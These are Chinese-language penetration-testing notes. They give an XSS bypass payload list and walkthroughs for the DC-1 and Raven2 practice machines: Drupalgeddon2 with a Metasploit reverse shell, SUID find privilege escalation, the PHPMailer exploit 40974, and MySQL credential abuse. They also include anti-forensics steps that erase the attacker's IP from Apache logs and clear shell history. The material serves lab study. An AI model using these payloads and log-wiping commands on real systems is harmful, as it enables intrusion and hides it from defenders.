xss常见绕过方式:
1.
2.">
3.' ondblclick =javascript:alert(1) '
4."ondblclick =javascript:alert(1) "
5."> <a href=javascript:alert('hack') > xss
6.">
7."> alert("hack")
8.javascript:alert(1)
9.javascRipt:alert(1)//http://
10.123&t_link="%20type="block&t_history="%20type="block&t_sort="type="text"%20onclick="javascript:alert(/XSS/)
DC-1:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
mysql -udbuser -pR0ck3t 登录数据库查询
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR --hash加密
find . -name "hash" --查找跟hash有关文件
./scripts/password-hash.sh
”123456“ $S$DbvZo.EW5EHLOisAs1rVUlxL1e6qrS353oxpOuV.WYmEbq3kQfA8
find提权:
find / -perm -u=s -type f 2>/dev/null
使用find提权
find / -exec "/bin/bash" -p ;
提权成功,找到最后一个flag
-
find /
-
从根目录
/
开始递归搜索整个文件系统。
-
-
-perm -u=s
-
-perm
:按文件权限匹配。 -
-u=s
:匹配设置了 SUID 权限的文件。u
表示所有者(user),s
表示 SUID 位。 -
符号-表示“至少包含指定权限”(例如 -perm -4000 等效于-perm -u=s),即文件必须启用 SUID 权限
-
-
-type f
-
仅搜索普通文件(排除目录、符号链接等)。
-
-
2>/dev/null
-
将标准错误(stderr)重定向到
/dev/null
(黑洞设备),隐藏权限不足等错误信息,使输出更干净
-
DC-1靶场提示:
使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v ip
msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole
search Drupal
我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2
use 1
show payloads # 显示该模块下的所有payload
发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp
他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问 外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试
获取shellshell
使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'
又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
mysql -udbuser -pR0ck3t
找到有一个users表
我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name 'hash'
根据找到的文件构造密码
进入mysqlmysql -udbuser -pR0ck3t
修改密码update users set pass='$S$DzDk3olM.Eddhdeb1RbmS6b3FO1DC846VhR2a50zeS89xJKIpzek' where name='admin';
登录即可这里我们就找到了flag3
提示我们去passwd文件看看,提示我们去passwd,找到flag4cat /etc/passwd
切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null1>/dev/null
用于丢弃正常输出,而2>/dev/null
用于丢弃错误输出。
使用find提权find / -exec "/bin/bash" -p ;
提权成功,找到最后一个flag
痕迹清除
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(apache日志),msf漏洞利用(kaliweb请求),命令使用(history)
1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'
查看都有一些什么内容cat /var/log/apache2/access.log
筛选自己主机ip ,sed -i '/192.168.0.1100/d' /var/log/apache2/access.log
这条命令会直接在原文件中删除所有包含192.168.22.165的行。-i选项表示直接修改文件。/d这里表示清除X段下的所有ip地址日志cat /var/log/apache2/access.log
同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'
cat /var/log/apache2/error.log
2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
清除数据库日志没有权限,查看日志状态show variables like '%log%';
general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志slow_query_log看图也是关闭的当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。找到这两个日志文件路径,看看有没有,这一步跳过、清除命令历史查看自己曾经输入过的命令history
history -c # 清除命令历史
登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。
23-Raven2:
通过目录扫描找到vendor目录下的第一个flag,在这发现有phpmailer,在kali中searchsploit phpmailer搜索,可以利用
searchsploit 是一个用于在 Exploit-DB 漏洞数据库中搜索漏洞利用脚本和相关信息的工具
选择5.2.18 利用 searchsploit -x php/webapps/40974.py 查看改漏洞内容
sudo cp /usr/share/exploitdb/exploits/php/webapps/40974.py .将它复制到当前目录
sudo vi 40974.pyroot权限进行编辑
esc :wq按esc在输入保存并退出
python 40974.py执行
pip install requests-toolbelt如果报错安装一下
ps -aux|grep mysqlmysql查看权限
数据库udf提权:
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
尝试mysql的udf提权
udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
查看插件在哪儿:
show variables like '%plugin%';
提权思路:
-
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
-
从udf文件中引入自定义函数(user defined function)
-
执行自定义函数
My.ini配置文件中没有secure_file_priv,默认不允许读写磁盘中任何文件,默认值为NULL。
show global variables like 'secur%';
查看是否存在远程登录
use mysql select user,host from user;
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)